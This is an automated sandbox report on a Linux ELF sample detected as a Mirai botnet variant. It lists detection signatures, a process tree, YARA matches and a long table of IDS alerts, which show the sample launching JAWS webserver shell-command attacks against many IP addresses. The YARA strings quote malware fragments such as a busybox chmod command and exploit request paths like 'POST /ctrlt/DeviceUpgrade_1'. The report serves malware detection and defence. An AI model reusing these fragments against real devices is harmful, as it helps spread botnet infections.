Edit tour

Linux Analysis Report
spc.elf

Overview

General Information

Sample name:	spc.elf
Analysis ID:	1567858
MD5:	c735943cdb0563f5249dde115981be18
SHA1:	5fdd16537c1d6c5bca5debfa40a07c249560ad77
SHA256:	0bcd3fede15864c44d9f41ff019ce9bc1a5673fef5f3daf16fd724274bc1f0f8
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567858
Start date and time:	2024-12-03 23:16:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	spc.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@30/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: spc.elf

Runtime Messages

Command:	/tmp/spc.elf
PID:	6220
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

spc.elf (PID: 6220, Parent: 6137, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/spc.elf

spc.elf New Fork (PID: 6222, Parent: 6220)

spc.elf New Fork (PID: 6228, Parent: 6222)

spc.elf New Fork (PID: 6230, Parent: 6222)

spc.elf New Fork (PID: 6232, Parent: 6222)

spc.elf New Fork (PID: 6233, Parent: 6222)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
spc.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
spc.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
spc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
spc.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10082:$x2: /bin/busybox chmod 777 * /tmp/ 0xfdd8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xfd20:$s3: POST /cdn-cgi/
spc.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xfd20:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10082:$x2: /bin/busybox chmod 777 * /tmp/ 0xfdd8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xfd20:$s3: POST /cdn-cgi/
6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xfd20:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10082:$x2: /bin/busybox chmod 777 * /tmp/ 0xfdd8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xfd20:$s3: POST /cdn-cgi/
6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xfd20:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: spc.elf PID: 6220	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: spc.elf PID: 6228	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 7 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T23:16:45.710659+0100	2030092	1	Web Application Attack	192.168.2.23	41910	185.138.149.16	80	TCP
2024-12-03T23:16:51.039650+0100	2030092	1	Web Application Attack	192.168.2.23	60312	108.165.135.39	80	TCP
2024-12-03T23:16:51.477618+0100	2030092	1	Web Application Attack	192.168.2.23	39544	209.58.154.1	80	TCP
2024-12-03T23:16:54.667523+0100	2030092	1	Web Application Attack	192.168.2.23	52298	181.49.1.9	80	TCP
2024-12-03T23:16:54.865385+0100	2030092	1	Web Application Attack	192.168.2.23	43054	45.93.92.23	80	TCP
2024-12-03T23:16:55.091292+0100	2030092	1	Web Application Attack	192.168.2.23	33214	175.204.245.90	80	TCP
2024-12-03T23:17:00.635509+0100	2030092	1	Web Application Attack	192.168.2.23	34284	13.67.141.213	80	TCP
2024-12-03T23:17:04.071515+0100	2030092	1	Web Application Attack	192.168.2.23	49254	50.3.239.91	80	TCP
2024-12-03T23:17:04.968596+0100	2030092	1	Web Application Attack	192.168.2.23	44330	38.153.191.124	80	TCP
2024-12-03T23:17:06.363990+0100	2030092	1	Web Application Attack	192.168.2.23	57792	102.72.235.212	80	TCP
2024-12-03T23:17:06.419072+0100	2030092	1	Web Application Attack	192.168.2.23	34534	51.51.22.8	80	TCP
2024-12-03T23:17:06.421964+0100	2030092	1	Web Application Attack	192.168.2.23	42056	222.216.121.162	80	TCP
2024-12-03T23:17:06.434644+0100	2030092	1	Web Application Attack	192.168.2.23	50594	219.135.74.124	80	TCP
2024-12-03T23:17:06.467080+0100	2030092	1	Web Application Attack	192.168.2.23	39842	89.7.20.131	80	TCP
2024-12-03T23:17:06.481248+0100	2030092	1	Web Application Attack	192.168.2.23	38240	205.42.223.76	80	TCP
2024-12-03T23:17:06.481416+0100	2030092	1	Web Application Attack	192.168.2.23	54802	131.246.4.63	80	TCP
2024-12-03T23:17:06.497169+0100	2030092	1	Web Application Attack	192.168.2.23	47602	101.46.179.16	80	TCP
2024-12-03T23:17:06.497505+0100	2030092	1	Web Application Attack	192.168.2.23	55162	144.38.20.0	80	TCP
2024-12-03T23:17:06.544006+0100	2030092	1	Web Application Attack	192.168.2.23	35888	53.132.117.184	80	TCP
2024-12-03T23:17:06.544355+0100	2030092	1	Web Application Attack	192.168.2.23	49344	129.100.184.223	80	TCP
2024-12-03T23:17:06.544401+0100	2030092	1	Web Application Attack	192.168.2.23	44620	45.40.116.252	80	TCP
2024-12-03T23:17:06.590979+0100	2030092	1	Web Application Attack	192.168.2.23	56488	95.67.114.253	80	TCP
2024-12-03T23:17:06.591035+0100	2030092	1	Web Application Attack	192.168.2.23	53526	153.112.177.229	80	TCP
2024-12-03T23:17:06.600042+0100	2030092	1	Web Application Attack	192.168.2.23	55950	198.29.2.103	80	TCP
2024-12-03T23:17:06.615596+0100	2030092	1	Web Application Attack	192.168.2.23	50114	120.173.20.194	80	TCP
2024-12-03T23:17:06.637715+0100	2030092	1	Web Application Attack	192.168.2.23	45274	146.132.188.166	80	TCP
2024-12-03T23:17:06.653194+0100	2030092	1	Web Application Attack	192.168.2.23	34932	104.171.23.145	80	TCP
2024-12-03T23:17:06.662581+0100	2030092	1	Web Application Attack	192.168.2.23	49530	188.243.47.249	80	TCP
2024-12-03T23:17:06.678080+0100	2030092	1	Web Application Attack	192.168.2.23	37062	178.209.10.75	80	TCP
2024-12-03T23:17:07.434851+0100	2030092	1	Web Application Attack	192.168.2.23	58542	152.243.171.49	80	TCP
2024-12-03T23:17:07.450210+0100	2030092	1	Web Application Attack	192.168.2.23	44466	79.244.180.207	80	TCP
2024-12-03T23:17:07.457990+0100	2030092	1	Web Application Attack	192.168.2.23	34024	51.255.125.138	80	TCP
2024-12-03T23:17:07.465698+0100	2030092	1	Web Application Attack	192.168.2.23	48408	211.227.175.197	80	TCP
2024-12-03T23:17:07.537859+0100	2030092	1	Web Application Attack	192.168.2.23	32818	12.128.53.10	80	TCP
2024-12-03T23:17:07.537953+0100	2030092	1	Web Application Attack	192.168.2.23	44054	52.59.102.77	80	TCP
2024-12-03T23:17:07.600254+0100	2030092	1	Web Application Attack	192.168.2.23	40424	179.151.244.139	80	TCP
2024-12-03T23:17:07.637794+0100	2030092	1	Web Application Attack	192.168.2.23	55784	9.156.190.104	80	TCP
2024-12-03T23:17:07.653553+0100	2030092	1	Web Application Attack	192.168.2.23	57612	71.139.246.174	80	TCP
2024-12-03T23:17:07.653577+0100	2030092	1	Web Application Attack	192.168.2.23	34882	131.92.253.181	80	TCP
2024-12-03T23:17:07.653582+0100	2030092	1	Web Application Attack	192.168.2.23	34928	184.86.41.56	80	TCP
2024-12-03T23:17:07.700412+0100	2030092	1	Web Application Attack	192.168.2.23	34724	175.139.215.108	80	TCP
2024-12-03T23:17:07.725140+0100	2030092	1	Web Application Attack	192.168.2.23	52898	52.109.45.182	80	TCP
2024-12-03T23:17:07.731364+0100	2030092	1	Web Application Attack	192.168.2.23	57244	220.191.45.226	80	TCP
2024-12-03T23:17:08.965732+0100	2030092	1	Web Application Attack	192.168.2.23	48428	126.128.117.174	80	TCP
2024-12-03T23:17:09.006420+0100	2030092	1	Web Application Attack	192.168.2.23	55344	111.129.118.141	80	TCP
2024-12-03T23:17:09.043926+0100	2030092	1	Web Application Attack	192.168.2.23	46556	136.180.192.64	80	TCP
2024-12-03T23:17:09.043967+0100	2030092	1	Web Application Attack	192.168.2.23	41164	180.109.221.172	80	TCP
2024-12-03T23:17:09.044103+0100	2030092	1	Web Application Attack	192.168.2.23	56698	193.187.119.1	80	TCP
2024-12-03T23:17:09.075284+0100	2030092	1	Web Application Attack	192.168.2.23	55712	146.160.159.128	80	TCP
2024-12-03T23:17:09.075448+0100	2030092	1	Web Application Attack	192.168.2.23	40288	103.214.187.227	80	TCP
2024-12-03T23:17:09.084346+0100	2030092	1	Web Application Attack	192.168.2.23	52678	83.51.41.144	80	TCP
2024-12-03T23:17:09.091293+0100	2030092	1	Web Application Attack	192.168.2.23	35072	177.225.31.244	80	TCP
2024-12-03T23:17:09.100041+0100	2030092	1	Web Application Attack	192.168.2.23	55066	176.205.213.17	80	TCP
2024-12-03T23:17:09.100196+0100	2030092	1	Web Application Attack	192.168.2.23	47196	161.47.72.130	80	TCP
2024-12-03T23:17:09.100327+0100	2030092	1	Web Application Attack	192.168.2.23	42634	159.198.67.110	80	TCP
2024-12-03T23:17:09.100491+0100	2030092	1	Web Application Attack	192.168.2.23	33716	219.25.117.201	80	TCP
2024-12-03T23:17:09.106477+0100	2030092	1	Web Application Attack	192.168.2.23	46746	175.217.230.70	80	TCP
2024-12-03T23:17:09.142225+0100	2030092	1	Web Application Attack	192.168.2.23	60554	146.197.93.177	80	TCP
2024-12-03T23:17:09.512681+0100	2030092	1	Web Application Attack	192.168.2.23	56630	89.106.217.241	80	TCP
2024-12-03T23:17:09.530683+0100	2030092	1	Web Application Attack	192.168.2.23	44250	176.88.220.123	80	TCP
2024-12-03T23:17:09.544166+0100	2030092	1	Web Application Attack	192.168.2.23	43422	20.223.0.235	80	TCP
2024-12-03T23:17:09.554197+0100	2030092	1	Web Application Attack	192.168.2.23	57190	204.71.210.36	80	TCP
2024-12-03T23:17:09.615682+0100	2030092	1	Web Application Attack	192.168.2.23	39812	14.2.153.102	80	TCP
2024-12-03T23:17:09.725179+0100	2030092	1	Web Application Attack	192.168.2.23	53122	170.152.121.169	80	TCP
2024-12-03T23:17:09.725184+0100	2030092	1	Web Application Attack	192.168.2.23	59074	155.203.22.126	80	TCP
2024-12-03T23:17:09.965794+0100	2030092	1	Web Application Attack	192.168.2.23	58900	181.16.202.67	80	TCP
2024-12-03T23:17:09.966067+0100	2030092	1	Web Application Attack	192.168.2.23	48110	75.96.152.124	80	TCP
2024-12-03T23:17:09.975127+0100	2030092	1	Web Application Attack	192.168.2.23	35012	116.59.162.85	80	TCP
2024-12-03T23:17:09.997413+0100	2030092	1	Web Application Attack	192.168.2.23	58128	192.62.46.240	80	TCP
2024-12-03T23:17:10.089859+0100	2030092	1	Web Application Attack	192.168.2.23	57340	186.45.45.229	80	TCP
2024-12-03T23:17:10.089859+0100	2030092	1	Web Application Attack	192.168.2.23	46408	107.254.158.162	80	TCP
2024-12-03T23:17:10.089860+0100	2030092	1	Web Application Attack	192.168.2.23	36340	88.109.144.121	80	TCP
2024-12-03T23:17:10.089871+0100	2030092	1	Web Application Attack	192.168.2.23	42638	177.95.70.145	80	TCP
2024-12-03T23:17:10.098787+0100	2030092	1	Web Application Attack	192.168.2.23	60744	80.213.14.165	80	TCP
2024-12-03T23:17:10.098792+0100	2030092	1	Web Application Attack	192.168.2.23	44924	137.96.172.137	80	TCP
2024-12-03T23:17:10.098798+0100	2030092	1	Web Application Attack	192.168.2.23	41418	84.171.71.67	80	TCP
2024-12-03T23:17:10.121132+0100	2030092	1	Web Application Attack	192.168.2.23	60642	65.196.231.131	80	TCP
2024-12-03T23:17:10.121132+0100	2030092	1	Web Application Attack	192.168.2.23	47328	14.201.184.218	80	TCP
2024-12-03T23:17:10.213462+0100	2030092	1	Web Application Attack	192.168.2.23	54912	158.229.16.172	80	TCP
2024-12-03T23:17:10.213464+0100	2030092	1	Web Application Attack	192.168.2.23	48388	216.45.248.172	80	TCP
2024-12-03T23:17:10.213467+0100	2030092	1	Web Application Attack	192.168.2.23	50374	118.211.183.67	80	TCP
2024-12-03T23:17:10.213471+0100	2030092	1	Web Application Attack	192.168.2.23	41142	105.208.107.220	80	TCP
2024-12-03T23:17:10.213471+0100	2030092	1	Web Application Attack	192.168.2.23	36494	199.96.168.179	80	TCP
2024-12-03T23:17:10.213471+0100	2030092	1	Web Application Attack	192.168.2.23	40216	149.214.222.91	80	TCP
2024-12-03T23:17:11.122196+0100	2030092	1	Web Application Attack	192.168.2.23	33170	64.184.219.41	80	TCP
2024-12-03T23:17:11.142655+0100	2030092	1	Web Application Attack	192.168.2.23	44118	154.175.128.164	80	TCP
2024-12-03T23:17:11.142655+0100	2030092	1	Web Application Attack	192.168.2.23	50074	112.198.79.120	80	TCP
2024-12-03T23:17:11.153355+0100	2030092	1	Web Application Attack	192.168.2.23	37540	41.76.192.116	80	TCP
2024-12-03T23:17:11.162482+0100	2030092	1	Web Application Attack	192.168.2.23	44158	131.115.153.201	80	TCP
2024-12-03T23:17:11.225243+0100	2030092	1	Web Application Attack	192.168.2.23	46904	134.104.83.77	80	TCP
2024-12-03T23:17:11.356561+0100	2030092	1	Web Application Attack	192.168.2.23	32982	74.123.234.35	80	TCP
2024-12-03T23:17:11.372194+0100	2030092	1	Web Application Attack	192.168.2.23	50600	90.249.44.175	80	TCP
2024-12-03T23:17:11.372387+0100	2030092	1	Web Application Attack	192.168.2.23	35066	145.33.190.157	80	TCP
2024-12-03T23:17:11.388601+0100	2030092	1	Web Application Attack	192.168.2.23	42146	138.192.209.119	80	TCP
2024-12-03T23:17:11.396741+0100	2030092	1	Web Application Attack	192.168.2.23	35992	176.69.242.94	80	TCP
2024-12-03T23:17:11.413341+0100	2030092	1	Web Application Attack	192.168.2.23	53118	95.58.153.193	80	TCP
2024-12-03T23:17:11.413343+0100	2030092	1	Web Application Attack	192.168.2.23	45074	217.19.114.229	80	TCP
2024-12-03T23:17:11.413492+0100	2030092	1	Web Application Attack	192.168.2.23	44382	135.89.3.44	80	TCP
2024-12-03T23:17:11.428183+0100	2030092	1	Web Application Attack	192.168.2.23	48300	49.209.5.244	80	TCP
2024-12-03T23:17:11.428299+0100	2030092	1	Web Application Attack	192.168.2.23	60176	193.206.198.78	80	TCP
2024-12-03T23:17:11.428411+0100	2030092	1	Web Application Attack	192.168.2.23	48708	117.110.109.99	80	TCP
2024-12-03T23:17:11.428488+0100	2030092	1	Web Application Attack	192.168.2.23	56466	32.125.248.35	80	TCP
2024-12-03T23:17:11.428602+0100	2030092	1	Web Application Attack	192.168.2.23	52612	217.189.104.34	80	TCP
2024-12-03T23:17:11.990637+0100	2030092	1	Web Application Attack	192.168.2.23	41216	160.108.6.246	80	TCP
2024-12-03T23:17:12.021778+0100	2030092	1	Web Application Attack	192.168.2.23	41030	53.125.178.189	80	TCP
2024-12-03T23:17:12.022027+0100	2030092	1	Web Application Attack	192.168.2.23	60208	194.223.37.30	80	TCP
2024-12-03T23:17:12.037487+0100	2030092	1	Web Application Attack	192.168.2.23	58364	105.92.24.72	80	TCP
2024-12-03T23:17:12.037585+0100	2030092	1	Web Application Attack	192.168.2.23	41526	13.3.191.55	80	TCP
2024-12-03T23:17:12.418920+0100	2030092	1	Web Application Attack	192.168.2.23	35484	87.101.119.206	80	TCP
2024-12-03T23:17:12.419161+0100	2030092	1	Web Application Attack	192.168.2.23	47686	166.27.48.146	80	TCP
2024-12-03T23:17:12.419191+0100	2030092	1	Web Application Attack	192.168.2.23	57674	74.248.70.53	80	TCP
2024-12-03T23:17:12.419234+0100	2030092	1	Web Application Attack	192.168.2.23	36520	206.218.156.58	80	TCP
2024-12-03T23:17:12.419306+0100	2030092	1	Web Application Attack	192.168.2.23	41066	107.228.249.17	80	TCP
2024-12-03T23:17:12.428414+0100	2030092	1	Web Application Attack	192.168.2.23	60984	207.44.6.28	80	TCP
2024-12-03T23:17:12.459434+0100	2030092	1	Web Application Attack	192.168.2.23	46738	110.74.199.97	80	TCP
2024-12-03T23:17:12.459554+0100	2030092	1	Web Application Attack	192.168.2.23	33370	168.200.219.64	80	TCP
2024-12-03T23:17:12.475298+0100	2030092	1	Web Application Attack	192.168.2.23	59832	36.177.131.90	80	TCP
2024-12-03T23:17:12.475419+0100	2030092	1	Web Application Attack	192.168.2.23	51184	81.193.189.217	80	TCP
2024-12-03T23:17:14.318900+0100	2030092	1	Web Application Attack	192.168.2.23	57228	173.42.62.157	80	TCP
2024-12-03T23:17:14.418984+0100	2030092	1	Web Application Attack	192.168.2.23	56428	69.10.3.184	80	TCP
2024-12-03T23:17:14.419301+0100	2030092	1	Web Application Attack	192.168.2.23	40820	176.250.219.218	80	TCP
2024-12-03T23:17:14.434703+0100	2030092	1	Web Application Attack	192.168.2.23	46348	133.155.42.209	80	TCP
2024-12-03T23:17:14.466370+0100	2030092	1	Web Application Attack	192.168.2.23	38022	41.75.167.181	80	TCP
2024-12-03T23:17:14.475054+0100	2030092	1	Web Application Attack	192.168.2.23	59036	125.159.204.221	80	TCP
2024-12-03T23:17:15.262889+0100	2030092	1	Web Application Attack	192.168.2.23	36772	209.190.249.42	80	TCP
2024-12-03T23:17:15.319181+0100	2030092	1	Web Application Attack	192.168.2.23	41344	98.23.1.12	80	TCP
2024-12-03T23:17:15.350221+0100	2030092	1	Web Application Attack	192.168.2.23	40432	85.157.24.226	80	TCP
2024-12-03T23:17:15.958104+0100	2030092	1	Web Application Attack	192.168.2.23	47920	104.94.218.168	80	TCP
2024-12-03T23:17:16.544251+0100	2030092	1	Web Application Attack	192.168.2.23	52296	209.218.254.72	80	TCP
2024-12-03T23:17:16.559667+0100	2030092	1	Web Application Attack	192.168.2.23	60380	205.115.19.189	80	TCP
2024-12-03T23:17:16.575320+0100	2030092	1	Web Application Attack	192.168.2.23	58502	124.213.253.22	80	TCP
2024-12-03T23:17:16.575448+0100	2030092	1	Web Application Attack	192.168.2.23	42216	187.217.57.157	80	TCP
2024-12-03T23:17:16.584548+0100	2030092	1	Web Application Attack	192.168.2.23	45226	199.48.240.26	80	TCP
2024-12-03T23:17:16.601302+0100	2030092	1	Web Application Attack	192.168.2.23	50780	160.118.116.204	80	TCP
2024-12-03T23:17:17.341532+0100	2030092	1	Web Application Attack	192.168.2.23	43834	42.96.90.150	80	TCP
2024-12-03T23:17:17.341608+0100	2030092	1	Web Application Attack	192.168.2.23	47178	153.109.96.159	80	TCP
2024-12-03T23:17:17.372101+0100	2030092	1	Web Application Attack	192.168.2.23	45208	57.118.124.196	80	TCP
2024-12-03T23:17:17.372218+0100	2030092	1	Web Application Attack	192.168.2.23	51650	168.72.114.103	80	TCP
2024-12-03T23:17:17.428638+0100	2030092	1	Web Application Attack	192.168.2.23	34876	67.186.194.136	80	TCP
2024-12-03T23:17:17.583211+0100	2030092	1	Web Application Attack	192.168.2.23	57268	46.149.136.21	80	TCP
2024-12-03T23:17:18.358195+0100	2030092	1	Web Application Attack	192.168.2.23	49128	95.38.48.223	80	TCP
2024-12-03T23:17:18.546485+0100	2030092	1	Web Application Attack	192.168.2.23	59436	107.254.106.99	80	TCP
2024-12-03T23:17:18.593246+0100	2030092	1	Web Application Attack	192.168.2.23	45486	145.12.51.102	80	TCP
2024-12-03T23:17:18.593266+0100	2030092	1	Web Application Attack	192.168.2.23	57430	144.244.202.18	80	TCP
2024-12-03T23:17:18.593269+0100	2030092	1	Web Application Attack	192.168.2.23	59776	2.68.142.1	80	TCP
2024-12-03T23:17:18.593389+0100	2030092	1	Web Application Attack	192.168.2.23	51090	98.46.105.144	80	TCP
2024-12-03T23:17:18.593510+0100	2030092	1	Web Application Attack	192.168.2.23	43788	113.67.108.3	80	TCP
2024-12-03T23:17:18.593515+0100	2030092	1	Web Application Attack	192.168.2.23	54098	51.31.14.4	80	TCP
2024-12-03T23:17:18.593646+0100	2030092	1	Web Application Attack	192.168.2.23	39860	83.114.35.247	80	TCP
2024-12-03T23:17:18.593780+0100	2030092	1	Web Application Attack	192.168.2.23	56658	84.216.136.52	80	TCP
2024-12-03T23:17:18.593916+0100	2030092	1	Web Application Attack	192.168.2.23	49788	12.231.107.108	80	TCP
2024-12-03T23:17:18.595019+0100	2030092	1	Web Application Attack	192.168.2.23	40986	129.72.45.47	80	TCP
2024-12-03T23:17:18.602199+0100	2030092	1	Web Application Attack	192.168.2.23	38996	155.188.236.83	80	TCP
2024-12-03T23:17:18.602363+0100	2030092	1	Web Application Attack	192.168.2.23	38400	95.165.95.255	80	TCP
2024-12-03T23:17:18.602367+0100	2030092	1	Web Application Attack	192.168.2.23	40134	57.139.237.152	80	TCP
2024-12-03T23:17:18.602493+0100	2030092	1	Web Application Attack	192.168.2.23	54538	113.149.205.76	80	TCP
2024-12-03T23:17:18.633762+0100	2030092	1	Web Application Attack	192.168.2.23	57380	66.32.129.43	80	TCP
2024-12-03T23:17:19.419213+0100	2030092	1	Web Application Attack	192.168.2.23	55390	184.91.46.132	80	TCP
2024-12-03T23:17:19.419342+0100	2030092	1	Web Application Attack	192.168.2.23	47838	170.130.35.173	80	TCP
2024-12-03T23:17:19.419427+0100	2030092	1	Web Application Attack	192.168.2.23	53984	185.139.205.4	80	TCP
2024-12-03T23:17:19.419562+0100	2030092	1	Web Application Attack	192.168.2.23	42338	157.94.111.12	80	TCP
2024-12-03T23:17:19.466087+0100	2030092	1	Web Application Attack	192.168.2.23	51764	36.206.184.29	80	TCP
2024-12-03T23:17:19.497304+0100	2030092	1	Web Application Attack	192.168.2.23	35672	54.36.196.205	80	TCP
2024-12-03T23:17:19.497446+0100	2030092	1	Web Application Attack	192.168.2.23	36786	162.32.100.214	80	TCP
2024-12-03T23:17:19.506536+0100	2030092	1	Web Application Attack	192.168.2.23	42604	85.134.54.55	80	TCP
2024-12-03T23:17:19.506654+0100	2030092	1	Web Application Attack	192.168.2.23	51602	126.230.82.208	80	TCP
2024-12-03T23:17:19.506839+0100	2030092	1	Web Application Attack	192.168.2.23	51146	118.197.22.2	80	TCP
2024-12-03T23:17:19.522100+0100	2030092	1	Web Application Attack	192.168.2.23	40738	40.102.184.170	80	TCP
2024-12-03T23:17:19.669175+0100	2030092	1	Web Application Attack	192.168.2.23	38360	160.213.170.54	80	TCP
2024-12-03T23:17:19.678200+0100	2030092	1	Web Application Attack	192.168.2.23	38572	115.68.158.75	80	TCP
2024-12-03T23:17:19.678515+0100	2030092	1	Web Application Attack	192.168.2.23	44124	37.163.200.224	80	TCP
2024-12-03T23:17:19.715852+0100	2030092	1	Web Application Attack	192.168.2.23	59980	212.185.60.209	80	TCP
2024-12-03T23:17:19.725246+0100	2030092	1	Web Application Attack	192.168.2.23	36856	209.198.232.114	80	TCP
2024-12-03T23:17:19.725287+0100	2030092	1	Web Application Attack	192.168.2.23	46630	135.59.238.174	80	TCP
2024-12-03T23:17:19.787828+0100	2030092	1	Web Application Attack	192.168.2.23	43308	43.138.98.219	80	TCP
2024-12-03T23:17:20.544618+0100	2030092	1	Web Application Attack	192.168.2.23	55056	17.75.92.142	80	TCP
2024-12-03T23:17:20.575265+0100	2030092	1	Web Application Attack	192.168.2.23	38322	168.255.195.130	80	TCP
2024-12-03T23:17:20.575364+0100	2030092	1	Web Application Attack	192.168.2.23	58302	217.213.200.52	80	TCP
2024-12-03T23:17:20.600407+0100	2030092	1	Web Application Attack	192.168.2.23	55370	37.84.242.207	80	TCP
2024-12-03T23:17:20.600859+0100	2030092	1	Web Application Attack	192.168.2.23	42810	32.141.226.135	80	TCP
2024-12-03T23:17:20.647929+0100	2030092	1	Web Application Attack	192.168.2.23	50704	133.59.235.96	80	TCP
2024-12-03T23:17:21.606864+0100	2030092	1	Web Application Attack	192.168.2.23	51836	44.54.106.30	80	TCP
2024-12-03T23:17:21.606867+0100	2030092	1	Web Application Attack	192.168.2.23	41014	93.183.67.205	80	TCP
2024-12-03T23:17:21.615841+0100	2030092	1	Web Application Attack	192.168.2.23	42602	45.62.206.174	80	TCP
2024-12-03T23:17:21.615990+0100	2030092	1	Web Application Attack	192.168.2.23	44672	17.1.77.154	80	TCP
2024-12-03T23:17:21.616079+0100	2030092	1	Web Application Attack	192.168.2.23	48360	111.10.89.106	80	TCP
2024-12-03T23:17:21.620372+0100	2030092	1	Web Application Attack	192.168.2.23	54626	77.159.194.220	80	TCP
2024-12-03T23:17:21.622247+0100	2030092	1	Web Application Attack	192.168.2.23	56650	208.190.180.0	80	TCP
2024-12-03T23:17:21.622366+0100	2030092	1	Web Application Attack	192.168.2.23	39002	120.0.131.100	80	TCP
2024-12-03T23:17:21.622452+0100	2030092	1	Web Application Attack	192.168.2.23	52186	159.14.248.206	80	TCP
2024-12-03T23:17:21.622647+0100	2030092	1	Web Application Attack	192.168.2.23	37212	86.26.128.168	80	TCP
2024-12-03T23:17:21.622791+0100	2030092	1	Web Application Attack	192.168.2.23	49122	148.254.32.247	80	TCP
2024-12-03T23:17:21.622860+0100	2030092	1	Web Application Attack	192.168.2.23	40496	20.187.81.36	80	TCP
2024-12-03T23:17:21.623009+0100	2030092	1	Web Application Attack	192.168.2.23	55964	132.135.3.200	80	TCP
2024-12-03T23:17:21.631344+0100	2030092	1	Web Application Attack	192.168.2.23	42562	169.72.148.55	80	TCP
2024-12-03T23:17:21.631548+0100	2030092	1	Web Application Attack	192.168.2.23	58540	104.72.84.160	80	TCP
2024-12-03T23:17:21.631689+0100	2030092	1	Web Application Attack	192.168.2.23	46536	13.14.252.173	80	TCP
2024-12-03T23:17:21.631812+0100	2030092	1	Web Application Attack	192.168.2.23	55474	106.225.210.158	80	TCP
2024-12-03T23:17:21.631887+0100	2030092	1	Web Application Attack	192.168.2.23	56030	57.229.219.125	80	TCP
